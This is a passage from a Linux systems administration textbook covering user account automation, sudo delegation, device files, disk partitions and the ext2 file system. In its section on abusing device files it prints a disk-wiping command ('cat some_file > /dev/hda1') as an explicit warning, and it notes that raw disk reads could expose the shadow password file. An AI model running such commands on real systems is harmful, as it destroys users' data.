accounts this information is generally provided in an electronic format. Often this

David Jones, Bruce Jamieson (2/20/25) Page 252

85321, Systems Administration Chapter 9: Users

information will be extracted from a database and converted into the appropriate
format.
For example, creating Web accounts for students studying 85321 was done by
extracting student numbers, names and email addresses from the Oracle database used
by Central Queensland University.

Policy
Gathering the raw information is not sufficient. Policy must be developed which
specifies rules such as username format, location of home directories, which groups
users will belong to and other information discussed earlier in the chapter.
There are no hard and fast rules for this policy. It is a case of applying whatever
works best for your particular situation.

For example
CQ-PAN (http://cq-pan.cqu.edu.au) is a system managed mainly by CQU computing
students. CQ-PAN provides accounts for students for a variety of reasons. During
its history it has used two username formats
 ba format
The first username format, based on that used by Freenet system, was ba005
ba103 ba321
 name format
This was later changed to something a little more personal,
firstnameLastInitialNumber. e.g. davidj1 carolyg1

Creating the accounts

Once you know what format the user information will be in and what formats you
wish to follow for user accounts, you can start creating the accounts. Generally this
will use the following steps
 read the information from the provided data file
 convert it into the format specified in the site policy
 use the UNIX account creation commands to create the accounts

David Jones, Bruce Jamieson (2/20/25) Page 253

85321, Systems Administration Chapter 9: Users

Additional steps
Simply creating the accounts using the steps introduced above is usually not all that
has to be done. Most sites may include additional steps in the account creation
process such as
 sending an initial, welcoming email message,
Such an email can serve a number of purposes, including informing the new users
of their rights and responsibilities. It is important that users be made aware as
soon as possible of what they can and can't do and what support they can expect
from the Systems Administration team.
 creating email aliases or other site specific steps.

Changing passwords without interaction

Quite a few years ago there was a common problem that had to be overcome in order
to automate the account creation process. This problem was how to set the new user's
password without human intervention. Remember, when creating hundreds of
accounts it is essential to remove all human interaction.
Given that this is such a common problem for UNIX systems, there are now a number
of solutions to this problem. RedHat Linux comes with a number of solutions
including the commands chpasswd, newusers and mkpasswd.

mkpasswd is an example of an Expect (http://expect.nist.gov/) script. Expect is a

program that helps to automate interactive applications such as passwd and others
including telnet ftp etc. This allows you to write scripts to automate processes
which normally require human input.

For example
In the pre-Web days (1992), satellite weather photos were made available via FTP
from a computer at James Cook University. These image files were stored using a
standard filename policy which indicated which date and time the images were taken.
If you wanted to view the latest weather image you had to manually ftp to the James
Cook computer, download the latest image and then view it on your machine.
Manually ftping the files was not a large task, only 5 or 6 separate commands,
however if you were doing this five times a day it got quite repetitive. Expect
provides a mechanism by which a script could be written to automate this process.

Delegation

David Jones, Bruce Jamieson (2/20/25) Page 254

85321, Systems Administration Chapter 9: Users

Systems Administrators are highly paid, technical staff. A business does not want
Systems Administrators wasting their time performing mundane, low-level, repetitive
tasks. Where possible a Systems Administrator should delegate responsibility for
low-level tasks to other staff. In this section we examine one approach using the
sudo command.

David Jones, Bruce Jamieson (2/20/25) Page 255

 85321, Systems Administration Chapter 9: Users

Allocating root privilege

Many of the menial tasks, like creating users and performing backups, require the
access which the root account provides. This means that these tasks can't be
allocated to junior members of staff without giving them access to everything else on
the system. In most cases you don't want to do this.
There is another problem with the root account. If you have a number of trusted
Systems Administrators the root account often becomes a group account. The
problem with this is that since everyone knows the root password there is now way
by which you can know who is doing what as root. There is no accountability.
While this may not be a problem on your individual system on commercial systems it
is essential to be able to track what everyone does.

sudo

A solution to these problems is the sudo command. sudo

(http://www.courtesan.com/courtesan/products/sudo/) is not a standard UNIX
command but a widely available public domain tool. It comes standard on most Linux
distributions. It does not appear to be included with RedHat 5.0. You can find a
copy of sudo on the 85321 Web site/CD-ROM under the Resource Materials section
for week 5.
sudo allows you to allocate certain users the ability to run programs as root without
giving them access to everything. For example, you might decide that the office
secretary can run the adduser script, or an operator might be allowed to execute the
backup script.
sudo also provides a solution to the accountability problem. sudo logs every
command people perform while using it. This means that rather than using the root
account as a group account, you can provide all your Systems Administrators with
sudo access. When they perform their tasks with sudo, what they do will be
recorded.

For example

To execute a command as root using sudo you login to your "normal" user account
and then type sudo followed by the command you wish to execute. The following
example shows what happens when you can and can't executable a particular
command using sudo.
[david@mc:~]$ sudo ls
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these two things:

David Jones, Bruce Jamieson (2/20/25) Page 256

 85321, Systems Administration Chapter 9: Users

#1) Respect the privacy of others.

#2) Think before you type.

85321.students archive
[david@mc:~]$ sudo cat
Sorry, user david is not allowed to execute "/bin/cat" as root on mc.
If the sudoers file is configured to allow you to execute this command on the current
machine, you will be prompted for your normal password. You'll only be asked for the
password once every five minutes.

/etc/sudoers

The sudo configuration file is usually /etc/sudoers or in some instances

/usr/local/etc/sudoers. sudoers is a text file with lines of the following format

username hostname=command
An example sudoers file might look like this
root ALL=ALL
david ALL=ALL
bob cq-pan=/usr/local/bin/backup
jo ALL=/usr/local/bin/adduser
In this example the root account and the user david are allowed to execute all
commands on all machines. The user bob can execute the /usr/local/bin/backup
command but only on the machine cq-pan. The user jo can execute the adduser
command on all machines. The sudoers man page has a more detail example and
explanation.
By allowing you to specify the names of machines you can use the same sudoers file
on all machines. This makes it easier to manage a number of machines. All you do is
copy the same file to all your machines (there is a utility called rdist which can
make this quite simple).

sudo advantages

sudo offers the following advantages

 accountability because all commands executed using sudo are logged,
Logging on a UNIX computer, as you'll be shown in a later chapter, is done via the
syslog system. What this means is that on a RedHat 5.0 machine the
information from sudo is logged in the file /var/log/messages.
 menial tasks can be allocated to junior staff without providing root access,
 using sudo is faster than using su,
 a list of users with root access is maintained,
 privileges can be revoked without changing the root password.

David Jones, Bruce Jamieson (2/20/25) Page 257

85321, Systems Administration Chapter 9: Users

Some sites that use sudo keep the root password in an envelope in someone's draw.
The root account is never used unless in emergencies where it is required.

Exercises

9.10 Install sudo onto your system. The source code for sudo is available from
the Resource Materials section of the 83521 Website/CD-ROM.
9.11 Configure your version of sudo so that you can use it as a replacement for
handing out the root password. What does your /etc/sudoers file
look like?
9.12 Use sudo a number of times. What information is logged by the sudo
command?
9.13 One of the listed advantages of sudo is the ability to log what people are
doing with the root access. Without some extra effort this accountability
can be quite pointless. Why? (Hint: the problem only really occurs with
users such as david in the above example sudoers file.

Conclusions
Every user on a UNIX machine must have an account. Components of a user account
can include
 login names (also called a username),
 passwords,
 the numeric user identifier or UID,
 the numeric group identifier or GID,
 a home directory,
 a login shell,
 mail aliases,
 a mail file, and
 startup files.
Configuration files related to user accounts include
 /etc/passwd,
 /etc/shadow,
 /etc/group, and
 to a certain extent /etc/aliases
Creating a user account is a mechanical task that can and often is automated. Creating
an account also requires root privilege. Being the root user implies no restrictions and
enables anything to be done. It is generally not a good idea to allocate this task to a
junior member of staff. However, there are a number of tools which allow this and
other tasks to be delegated.

David Jones, Bruce Jamieson (2/20/25) Page 258

85321, Systems Administration Chapter 9: Users

Review Questions
9.1

For each of the following files/directories

 describe the purpose they fulfill
 describe the format of the file
The files are /etc/passwd /etc/group /etc/skel

David Jones, Bruce Jamieson (2/20/25) Page 259

85321, Systems Administration Chapter 9: Users

9.2

Your company is about to fire an employee. What steps would you perform to remove
the employee's account?
9.3
Set up sudo so that a user with the account secretary can run the Linux user
management commands which were introduced in this chapter.

David Jones, Bruce Jamieson (2/20/25) Page 260

85321, Systems Administration Chapter 10: Managing File Systems

Chapter 10
Managing File Systems

Introduction

What?

In a previous chapter, we examined the overall structure of the Linux file system. This
was a fairly abstract view that didn't explain how the data was physically transferred
on and off the disk. Nor in fact, did it really examine the concept of "disks" or even
"what" the file system "physically" existed on.
In this chapter, we shall look at how Linux interacts with physical devices (not just
disks), how in particular Linux uses "devices" with respect to its file system and
revisit the Linux file system - just at a lower level.

Why?

Why are you doing this? Doesn't this sound all a bit too like Operating Systems?
Unless you are content to accept that all low level interaction with the operating
system occurs by a mystical form of osmosis and that you will never have to deal
with:
 A Disk crash - an unfortunate physical event involving one of the read/write heads
of a hard disk coming into contact with the platter (which is spinning at high
speed) causing the removal of the metallic oxide (the substance that maintains
magnetic polarity, thus storing data). This is usually a fatal event for the disk (and
sometimes its owner).
 Adding a disk, mouse, modem terminal or a sound card - unlike some
unmentionable operating systems, Linux is not "plug-and-pray". The addition of
such a device requires modifications to the system.
 The accidental erasure of certain essential things called "device files" - while the
accidental erasure of any file is a traumatic event, the erasure of a device file calls
for special action.
 Installing or upgrading to a kernel or OS release - you may suddenly find that your
system doesn't know how to talk to certain things (like your CDROM, your
console or maybe your SCSI disk...) - you will need to find out how to solve these
problems.

David Jones, Bruce Jamieson (2/20/25) Page 261

85321, Systems Administration Chapter 10: Managing File Systems

 Running out of some weird thing called "I-Nodes" - an event which means you
can't create any more files.
... then you will definitely need to read this chapter!

A scenario
As we progress through this chapter, we will apply the information to help us solve
problems associated with a very common System Administrator's task - installing a
new hard disk. Our scenario is this:
Our current system has a single hard disk and it only has 10% space free (on a good
day). This is causing various problems (which we will discuss during the course of
this chapter) - needless to say that it is the user directories (off /home) that are using
the most space on the system. As our IT department is very poor (we work in a
university), we have been budgeting for a new hard disk for the past two years - we
had bought a new one a year ago but someone drove a forklift over it. The time has
finally arrived - we have a brand new 2.5 gigabyte disk (to complement our existing
500 megabyte one).
How do we install it? What issues should we consider when determining its use?

Devices - Gateways to the kernel

A device is...

A device is just a generic name for any type of physical or logical system component
that the operating system has to interact with (or "talk" to). Physical devices include
such things as hard disks, serial devices (such as modems, mouse(s) etc.), CDROMs,
sound cards and tape-backup drives.
Logical devices include such things as virtual terminals [every user is allocated a
terminal when they log in - this is the point at which output to the screen is sent
(STDOUT) and keyboard input is taken (STDIN)], memory, the kernel itself and
network ports.

Device files are...

Device files are special types of "files" that allow programs to interact with devices
via the OS kernel. These "files" (they are not actually real files in the sense that they
do not contain data) act as gateways or entry points into the kernel or kernel related
"device drivers".

Device drivers are...

David Jones, Bruce Jamieson (2/20/25) Page 262

85321, Systems Administration Chapter 10: Managing File Systems

Device drivers are coded routines used for interacting with devices. They essentially
act as the "go between" for the low level hardware and the kernel/user interface.
Device drivers may be physically compiled into the kernel (most are) or may be
dynamically loaded in memory as required.

David Jones, Bruce Jamieson (2/20/25) Page 263

85321, Systems Administration Chapter 10: Managing File Systems

/dev

/dev is the location where most device files are kept. A listing of /dev will output the
names of hundreds of files. The following is an edited extract from the MAKEDEV (a
Linux program for making device files - we will examine it later) man page on some
of the types of device file that exist in /dev:
 std
Standard devices. These include mem - access to physical memory; kmem -
access to kernel virtual memory;null - null device; port - access to I/O ports;
 Virtual Terminals
This are the devices associated with the console. This is the virtual terminal tty_,
where can be from 0 though 63.
 Serial Devices
Serial ports and corresponding dialout device. For device ttyS_, there is also the
device cua_ which is used to dial out with.
 Pseudo Terminals
(Non-Physical terminals) The master pseudo-terminals are pty[p-s][0-9a-f] and
the slaves are tty[p-s][0-9a-f].
 Parallel Ports
Standard parallel ports. The devices are lp0, lp1, and lp2. These correspond to
ports at 0x3bc, 0x378 and 0x278. Hence, on some machines, the first printer port
may actually be lp1.
 Bus Mice
The various bus mice devices. These include: logimouse (Logitech bus mouse),
psmouse (PS/2-style mouse), msmouse (Microsoft Inport bus mouse) and
atimouse (ATI XL bus mouse) and jmouse (J-mouse).
 Joystick Devices
Joystick. Devices js0 and js1.
 Disk Devices
Floppy disk devices. The device fd_ is the device which autodetects the format,
and the additional devices are fixed format (whose size is indicated in the
name). The other devices are named as fd___. The single letter _ identifies the
type of floppy disk (d = 5.25" DD, h = 5.25" HD, D = 3.5" DD, H = 3.5" HD, E
= 3.5" ED). The number _ represents the capacity of that format in K. Thus the
standard formats are fd_d360_ fd_h1200_ fd_D720_ fd_H1440_ and fd_E2880_

Devices fd0_ through fd3_ are floppy disks on the first controller, and devices
fd4_ through fd7_ are floppy disks on the second controller.

Hard disks. The device hdx provides access to the whole disk, with the
partitions being hdx[0-20]. The four primary partitions are hdx1 through hdx4,
with the logical partitions being numbered from hdx5 though hdx20. (A primary
partition can be made into an extended partition, which can hold 4 logical

David Jones, Bruce Jamieson (2/20/25) Page 264

85321, Systems Administration Chapter 10: Managing File Systems

partitions).

Drives hda and hdb are the two on the first controller. If using the new IDE
driver (rather than the old HD driver), then hdc and hdd are the two drives on
the secondary controller. These devices can also be used to access IDE CDROMs
if using the new IDE driver.

SCSI hard disks. The partitions are similar to the IDE disks, but there is a limit of
11 logical partitions (sd_5 through sd_15). This is to allow there to be 8 SCSI
disks.

Loopback disk devices. These allow you to use a regular file as a block device.
This means that images of file systems can be mounted, and used as normal.
There are 8 devices, loop0 through loop7.
 Tape Devices
SCSI tapes. These are the rewinding tape devicest_ and the non-rewinding tape
device nst_.

QIC-80 tapes. The devices are rmt8, rmt16, tape-d, and tape-reset.

Floppy driver tapes (QIC-117). There are 4 methods of access depending on the
floppy tape drive. For each of access methods 0, 1, 2 and 3, the devices rft_
(rewinding) and nrft_ (non-rewinding) are created.
 CDROM Devices
SCSI CD players. Sony CDU-31A CD player. Mitsumi CD player. Sony
CDU-535 CD player. LMS/Philips CD player.

Sound Blaster CD player. The kernel is capable of supporting 16 CDROMs, each

of which is accessed as sbpcd[0-9a-f]. These are assigned in groups of 4 to each
controller.
 Audio
These are the audio devices used by the sound driver. These include mixer,
sequencer, dsp, and audio.

Devices for the PC Speaker sound driver. These are pcmixer. pxsp, and pcaudio.
 Miscellaneous
Generic SCSI devices. The devices created are sg0 through sg7. These allow
arbitrary commands to be sent to any SCSI device. This allows for querying
information about the device, or controlling SCSI devices that are not one of
disk, tape or CDROM (e.g. scanner, writable CDROM).

While the /dev directory contains the device files for many types of
devices, only those devices that have device drivers present in the

David Jones, Bruce Jamieson (2/20/25) Page 265

85321, Systems Administration Chapter 10: Managing File Systems

kernel can be used. For example, while your system may have a
/dev/sbpcd, it doesn't mean that your kernel can support a Sound
Blaster CD. To enable the support, the kernel will have to be
recompiled with the Sound Blaster driver included - a process we will
examine in a later chapter.

David Jones, Bruce Jamieson (2/20/25) Page 266

 85321, Systems Administration Chapter 10: Managing File Systems

Physical characteristics of device files

If you were to examine the output of the ls -al command on a device file, you'd see
something like:
psyche:~/sanotes$ ls -al /dev/console
crw--w--w- 1 jamiesob users 4, 0 Mar 31 09:28 /dev/console
In this case, we are examining the device file for the console. There are two major
differences in the file listing of a device file from that of a "normal" file, for example:
psyche:~/sanotes$ ls -al iodev.html
-rw-r--r-- 1 jamiesob users7938 Mar 31 12:49 iodev.html
The first difference is the first character of the "file permissions" grouping - this is
actually the file type. On directories this is a "d", on "normal" files it will be blank but
on devices it will be "c" or "b". This character indicates c for character mode or b for
block mode. This is the way in which the device interacts - either character by
character or in blocks of characters.
For example, devices like the console output (and input) character by character.
However, devices like hard disks read and write in blocks. You can see an example of
a block device by the following:
psyche:~/sanotes$ ls -al /dev/had
brw-rw---- 1 root disk 3, 0 Apr 28 1995 /dev/hda
(hda is the first hard drive)
The second difference is the two numbers where the file size field usually is on a
normal file. These two numbers (delimited by a comma) are the major and minor
device numbers.

Major and minor device numbers are...

Major and minor device numbers are the way in which the kernel determines which
device is being used, therefore what device driver is required. The kernel maintains a
list of its available device drivers, given by the major number of a device file. When a
device file is used (we will discuss this in the next section), the kernel runs the
appropriate device driver, passing it the minor device number. The device driver
determines which physical device is being used by the minor device number. For
example:
psyche:~/sanotes$ ls -al /dev/hda
brw-rw---- 1 root disk 3, 0 Apr 28 1995 /dev/hda
psyche:~/sanotes$ ls -al /dev/hdb
brw-rw---- 1 root disk 3, 64 Apr 28 1995 /dev/hdb
What this listing shows is that a device driver, major number 3, controls both hard
drives hda and hdb. When those devices are used, the device driver will know which is

David Jones, Bruce Jamieson (2/20/25) Page 267

85321, Systems Administration Chapter 10: Managing File Systems

which (physically) because hda has a minor device number of 0 and hdb has a minor
device number of 64.

David Jones, Bruce Jamieson (2/20/25) Page 268

 85321, Systems Administration Chapter 10: Managing File Systems

Why use device files?

It may seem using files is a roundabout method of accessing devices - what are the
alternatives?
Other operating systems provide system calls to interact with each device. This means
that each program needs to know the exact system call to talk to a particular device.
With UNIX and device files, this need is removed. With the standard open, read, write,
append etc. system calls (provided by the kernel), a program may access any device
(transparently) while the kernel determines what type of device it is and which device
driver to use to process the call. [You will remember from Operating Systems that
system calls are the services provided by the kernel for programs.]
Using files also allows the system administrator to set permissions on particular
devices and enforce security - we will discuss this in detail later.
The most obvious advantage of using device files is shown by the way in which as a
user, you can interact with them. For example, instead of writing a special program to
play .AU sound files, you can simply:
psyche:~/sanotes$ cat test.au > /dev/audio
This command pipes the contents of the test.au file into the audio device. Two things
to note: 1) This will only work for systems with audio (sound card) support compiled
into the kernel (i.e. device drivers exist for the device file) and 2) this will only work
for .AU files - try it with a .WAV and see (actually, listen) what happens. The reason
for this is that .WAV (a Windows audio format) has to be interpreted first before it can
be sent to the sound card.

You will not probably need to be the root user to perform the above
command as the /dev/audio device has write permissions to all
users. However, don't cat anything to a device unless you know what
you are doing - we will discuss why later.

Creating device files

There are two ways to create device files - the easy way or the hard way!
The easy way involves using the Linux command MAKEDEV. This is actually a script
that can be found in the /dev directory. MAKEDEV accepts a number of parameters
(you can check what they are in the man pages. In general, MAKEDEV is run as:
/dev/MAKEDEV device
where device is the name of a device file. If for example, you accidentally erased or
corrupted your console device file (/dev/console) then you'd recreate it by issuing
the commend:

David Jones, Bruce Jamieson (2/20/25) Page 269

 85321, Systems Administration Chapter 10: Managing File Systems

/dev/MAKEDEV console
NOTE! This must be done as the root user
However, what if your /dev directory had been corrupted and you lost the MAKEDEV
script? In this case you'd have to manually use the mknod command.
With the mknod command you must know the major and minor device number as
well as the type of device (character or block). To create a device file using mknod,
you issue the command:
mknod device_file_name device_type major_number minor_number
For example, to create the device file for COM1 a.k.a. /dev/ttys0 (usually where the
mouse is connected) you'd issue the command:
mknod /dev/ttyS0 c 4 240
Ok, so how do you know what type a device file is and what major and minor number
it has so you can re-create it? The scouting (or is that the cubs?) solution to every
problem in the world, be prepared, comes into play. Being a good system
administrator, you'd have a listing of every device file stored in a file kept safely on
disk. You'd issue the command:
ls -al /dev > /mnt/device_file_listing
before you lost your /dev directory in a cataclysmic disaster, so you could read the
file and recreate the /dev structure (it might also be smart to copy the MAKEDEV script
onto this same disk just to make your life easier :).
MAKEDEV is only found on Linux systems. It relies on the fact that the
major and minor devices numbers for the system are hard-coded into
the script - running MAKEDEV on a non-Linux system won't work
because:
The device names are different
The major and minor numbers of similar devices are different
Note however that similar scripts to MAKEDEV can be found on most
modern versions of UNIX.

The use and abuse of device files

Device files are used directly or indirectly in every application on a Linux system.
When a user first logs in, they are assigned a particular device file for their terminal
interaction. This file can be determined by issuing the command:
tty
For example:
psyche:~/sanotes$ tty
/dev/ttyp1

David Jones, Bruce Jamieson (2/20/25) Page 270

 85321, Systems Administration Chapter 10: Managing File Systems

psyche:~/sanotes$ ls -al /dev/ttyp1

crw------- 1 jamiesob tty4, 193 Apr 2 21:14 /dev/ttyp1
Notice that as a user, I actually own the device file! This is so I can write to the device
file and read from it. When I log out, it will be returned to:
c--------- 1 root root 4, 193 Apr 2 20:33 /dev/ttyp1
Try the following:
read X < /dev/ttyp1 ; echo "I wrote $X"
echo "hello there" > /dev/ttyp1
You should see something like:
psyche:~/sanotes$ read X < /dev/ttyp1 ; echo "I wrote $X"
hello
I wrote hello
psyche:~/sanotes$ echo "hello there" > /dev/ttyp1
hello there
A very important device file is that which is assigned to your hard disk. In my case
/dev/hda is my primary hard disk, its device file looks like:

brw-rw---- 1 root disk 3, 0 Apr 28 1995 /dev/hda

Note that as a normal user, I can't directly read and write to the hard disk device file -
why do you think this is?
Reading and writing to the hard disk is handled by an intermediary called the file
system. We will examine the role of the file system in later sections, but for the time
being, you should be aware that the file system decides how to use the disk, how to
find data and where to store information about what is on the disk.
Bypassing the file system and writing directly to the device file is a very dangerous
thing - device drivers have no concept of file systems, files or even the data that is
stored in them; device drivers are only interested in reading and writing chunks of data
(called blocks) to physical sectors of the disk. For example, by directly writing a data
file to a device file, you are effectively instructing the device driver to start writing
blocks of data onto the disk from where ever the disk head was sitting! This can
(depending on which sector and track the disk was set to) potentially wipe out the
entire file structure, boot sector and all the data. Not a good idea to try it. NEVER
should you issue a command like:
cat some_file > /dev/hda1
As a normal user, you can't do this - but you can as root!
Reading directly from the device file is also a problem. While not physically
damaging the data on the disk, by allowing users to directly read blocks, it is possible
to obtain information about the system that would normally be restricted to them. For
example, was someone clever enough to obtain a copy of the blocks on the disk
where the shadow password file resided (a file normally protected by file permissions

David Jones, Bruce Jamieson (2/20/25) Page 271

 85321, Systems Administration Chapter 10: Managing File Systems

so users can view it), they could potentially reconstruct the file and run it through a
crack program.

Exercises

10.1 Use the tty command to find out what device file you are currently logged in from.
In your home directory, create a device file called myterm that has the same major and
minor device number. Log into another session and try redirecting output from a command
to myterm. What happens?
10.2 Use the tty command to find out what device file you are currently logged in on.
Try using redirection commands to read and write directly to the device. With another user
(or yourself in another session) change the permissions on the device file so that the other
user can write to it (and you to theirs). Try reading and writing from each other's device
files.
10.3 Log into two terminals as root. Determine the device file used by one of the sessions,
take note of its major and minor device number. Delete the device file - what happens to that
session. Log out of the session - now what happens? Recreate the device file.

Devices, Partitions and File systems

Device files and partitions

Apart from general device files for entire disks, individual device files for partitions
exist. These are important when trying to understand how individual "parts" of a file
hierarchy may be spread over several types of file system, partitions and physical
devices.
Partitions are non-physical (I am deliberately avoiding the use of the word "logical"
because this is a type of partition) divisions of a hard disk. IDE Hard disks may have 4
primary partitions, one of which must be a boot partition if the hard disk is the primary
(modern systems have primary and secondary disk controllers) master (first hard disk)
[this is the partition BIOS attempts to load a bootstrap program from at boot time].
Each primary partition can be marked as an extended partition which can be further
divided into four logical partitions. By default, Linux provides device files for the four
primary partitions and 4 logical partitions per primary/extended partition. For
example, a listing of the device files for my primary master hard disk reveals:
brw-rw---- 1 root disk 3, 0 Apr 28 1995 /dev/hda
brw-rw---- 1 root disk 3, 1 Apr 28 1995 /dev/hda1
brw-rw---- 1 root disk 3, 10 Apr 28 1995 /dev/hda10
brw-rw---- 1 root disk 3, 11 Apr 28 1995 /dev/hda11
brw-rw---- 1 root disk 3, 12 Apr 28 1995 /dev/hda12
brw-rw---- 1 root disk 3, 13 Apr 28 1995 /dev/hda13
brw-rw---- 1 root disk 3, 14 Apr 28 1995 /dev/hda14
brw-rw---- 1 root disk 3, 15 Apr 28 1995 /dev/hda15

David Jones, Bruce Jamieson (2/20/25) Page 272

 85321, Systems Administration Chapter 10: Managing File Systems

brw-rw---- 1 root disk 3, 16 Apr 28 1995 /dev/hda16

brw-rw---- 1 root disk 3, 2 Apr 28 1995 /dev/hda2
brw-rw---- 1 root disk 3, 3 Apr 28 1995 /dev/hda3
brw-rw---- 1 root disk 3, 4 Apr 28 1995 /dev/hda4
brw-rw---- 1 root disk 3, 5 Apr 28 1995 /dev/hda5
brw-rw---- 1 root disk 3, 6 Apr 28 1995 /dev/hda6
brw-rw---- 1 root disk 3, 7 Apr 28 1995 /dev/hda7
brw-rw---- 1 root disk 3, 8 Apr 28 1995 /dev/hda8
brw-rw---- 1 root disk 3, 9 Apr 28 1995 /dev/hda9
Partitions are usually created by using a system utility such as fdisk. Generally fdisk
will ONLY be used when a new operating system is installed or a new hard disk is
attached to a system.
Our existing hard disk would be /dev/hda1 (we will assume that we
are using an IDE drive, otherwise we'd be using SCSI devices
/dev/sd*).

Our new hard disk (we'll make it a slave to the first) will be
/dev/hdb1.

Partitions and file systems

Every partition on a hard disk has an associated file system (the file system type is
actually set when fdisk is run and a partition is created). For example, in DOS
machines, it was usual to devote the entire hard disk (therefore the entire disk
contained one primary partition) to the FAT (File Allocation Table) based file system.
This is generally the case for most modern operating systems including Windows 95,
Win NT and OS/2.
However, there are occasions when you may wish to run multiple operating systems
off the one disk; this is when a single disk will contain multiple partitions, each
possibly containing a different file system.
With UNIX systems, it is normal procedure to use multiple partitions in the file system
structure. It is quite possible that the file system structure is spread over multiple
partitions and devices, each a different "type" of file system.
What do I mean by "type" of file system? Linux can support (or "understand", access,
read and write to) many types of file systems including: minix, ext, ext2, umsdos,
msdos, proc, nfs, iso9660, xenix, Sysv, coherent, hpfs.
(There is also support for the Windows 95 and Win NT file system). A file system is
simply a set or rules and algorithms for accessing files. Each system is different; one
file system can't read the other. Like device drivers, file systems are compiled into
the kernel - only file systems compiled into the kernel can be accessed by the kernel.
To discover what file systems your system supports, you can display
the contents of the /proc/filesystems file.

David Jones, Bruce Jamieson (2/20/25) Page 273

 85321, Systems Administration Chapter 10: Managing File Systems

On our new disk, if we were going to use a file system that was not
supported by the kernel, we would have to recompile the kernel at this
point.

Partitions and Blocks

The smallest unit of information that can be read from or written to a disk is a block.
Blocks can't be split up - two files can't use the same block, therefore even if a file
only uses one byte of a block, it is still allocated the entire block.
When partitions are created, the first block of every partition is reserved as the boot
block. However, only one partition may act as a boot partition. BIOS checks the
partition table of the first hard disk at boot time to determine which partition is the
boot partition. In the boot block of the boot partition there exists a small program
called a bootstrap loader - this program is executed at boot time by BIOS and is used
to launch the OS. Systems that contain two or more operating systems use the boot
block to house small programs that ask the user to chose which OS they wish to boot.
One of these programs is called lilo and is provided with Linux systems.
The second block on the partition is called the superblock. It contains all the
information about the partition including information on:
 The size of the partition
 The physical address of the first data block
 The number and list of free blocks
 Information of what type of file system uses the partition
 When the partition was last modified
The remaining blocks are data blocks. Exactly how they are used and what they
contain are up to the file system using the partition.

Using the partitions

So how does Linux use these partitions and file systems?

Linux logically attaches (this process is called mounting) different partitions and
devices to parts of the directory structure. For example, a system may have:
/ mounted to /dev/hda1
/usr mounted to /dev/hda2
/home mounted to /dev/hda3
/usr/local mounted to /dev/hda4
/var/spool mounted to /dev/hdb1
/cdrom mounted to /dev/cdrom
/mnt mounted to /dev/fd0
Yet to a user of the system, the physical location of the different parts of the directory
structure is transparent!

David Jones, Bruce Jamieson (2/20/25) Page 274

85321, Systems Administration Chapter 10: Managing File Systems

How does this work?

David Jones, Bruce Jamieson (2/20/25) Page 275

85321, Systems Administration Chapter 10: Managing File Systems

The Virtual File System

The Linux kernel contains a layer called the VFS (or Virtual File System). The VFS
processes all file-oriented IO system calls. Based on the device that the operation is
being performed on, the VFS decides which file system to use to further process the
call.
The exact list of processes that the kernel goes through when a system call is received
follows along the lines of:
 A process makes a system call.
 The VFS decides what file system is associated with the device file that the system
call was made on.
 The file system uses a series of calls (called Buffer Cache Functions) to interact
with the device drivers for the particular device.
 The device drivers interact with the device controllers (hardware) and the actual
required processes are performed on the device.
Figure 10.1 represents this.

Figure 10.1
The Virtual File System

David Jones, Bruce Jamieson (2/20/25) Page 276

85321, Systems Administration Chapter 10: Managing File Systems

Dividing up the file hierarchy - why?

Why would you bother partitioning a disk and using different partitions for different
directories?
The reasons are numerous and include:

Separation Issues
Different directory branches should be kept on different physical partitions for reasons
including:
 Certain directories will contain data that will only need to be read, others will need
to be both read and written. It is possible (and good practice) to mount these
partitions restricting such operations.
 Directories including /tmp and /var/spool can fill up with files very quickly,
especially if a process becomes unstable or the system is purposely flooded with
email. This can cause problems. For example, let us assume that the /tmp
directory is on the same partition as the /home directory. If the /tmp directory
causes the partition to be filled no user will be able to write to their /home
directory, there is no space. If /tmp and /home are on separate partitions the
filling of the /tmp partition will not influence the /home directories.
 The logical division of system software, local software and home directories all
lend themselves to separate partitions

Backup Issues
These include:
 Separating directories like /usr/local onto separate partitions makes the
process of an OS upgrade easier - the new OS version can be installed over all
partition except the partition that the /usr/local system exists on. Once
installation is complete the /usr/local partition can be re-attached.
 The actual size of the partition can make it easier to perform backups - it isn't as
easy to backup a single 2.1 Gig partition as it is to backup four 500 Meg
partitions. This does depend on the backup medium you are using. Some
medium will handle a 2.1 Gb partition quite easily.

Performance Issues
By spreading the file system over several partitions and devices, the IO load is spread
around. It is then possible to have multiple seek operations occurring simultaneously -
this will improve the speed of the system.

While splitting the directory hierarchy over multiple partitions does address the above
issues, it isn't always that simple. A classic example of this is a system that contained

David Jones, Bruce Jamieson (2/20/25) Page 277

85321, Systems Administration Chapter 10: Managing File Systems

its Web programs and data in the /var/spool directory. Obviously the correct
location for this type of program is the /usr branch - probably somewhere off the
/usr/local system. The reason for this strange location? ALL the other partitions
on the system were full or nearly full - this was the only place left to install the
software! And the moral of the story is? When partitions are created for different
branches of the file hierarchy, the future needs of the system must be considered - and
even then, you won't always be able to adhere to what is "the technically correct"
location to place software.

Scenario Update
At this point, we should consider how we are going to partition our new hard disk. As
given by the scenario, our /home directory is using up a lot of space (we would find
this out by using the du command).
We have the option of devoting the entire hard disk to the /home structure but as it is a
2.5 Gig disk we could probably afford to divide it into a couple of partitions. As the
/var/spool directory exists on the same partition as root, we have a potential
problem of our root partition filling up - it might be an idea to separate this. As to the
size of the partitions? As our system has just been connected to the Internet, our users
have embraced FTP - our /home structure is consuming 200 Megabytes but we expect
this to increase by a factor of 10 over the next 2 years. Our server is also receiving
increased volumes of email, so our spool directory will have to be large. A split of 2
Gigabytes to 500 Megabytes will probably be reasonable.
To create our partitions, we will use the fdisk program. We will create two primary
partitions, one of 2 Gigabytes and one of 500 Megabytes - these we will mark as
Linux partitions.

The Linux Native File System - ext2

Overview

Historically, Linux has had several native file systems. Originally there was Minix
which supported file systems of up to 64 megabytes in size and 14 character file
names. With the advent of the virtual file system (VFS) and support for multiple file
systems, Linux has seen the development of Ext FS (Extended File System), Xia FS
and the current ext2 FS.
ext2 (the second extended file system) has longer file names (255 characters), larger
file sizes (2 GB) and bigger file system support (4 TB) than any of the existing Linux
file systems. In this section, we will examine how ext2 works.

I-Nodes

David Jones, Bruce Jamieson (2/20/25) Page 278

85321, Systems Administration Chapter 10: Managing File Systems

ext2 use a complex but extremely efficient method of organising block allocation to
files. This system relies on data structures called I-Nodes. Every file on the system is
allocated an I-Node - there can never be more files than I-Nodes.
This is something to consider when you format a partition and create
the file system - you will be asked how many I-Nodes you wish create.
Generally, ten percent of the file system should be I-Nodes. This figure
should be increased if the partition will contain lots of small files or
decreased if the partition will contain few but large files.
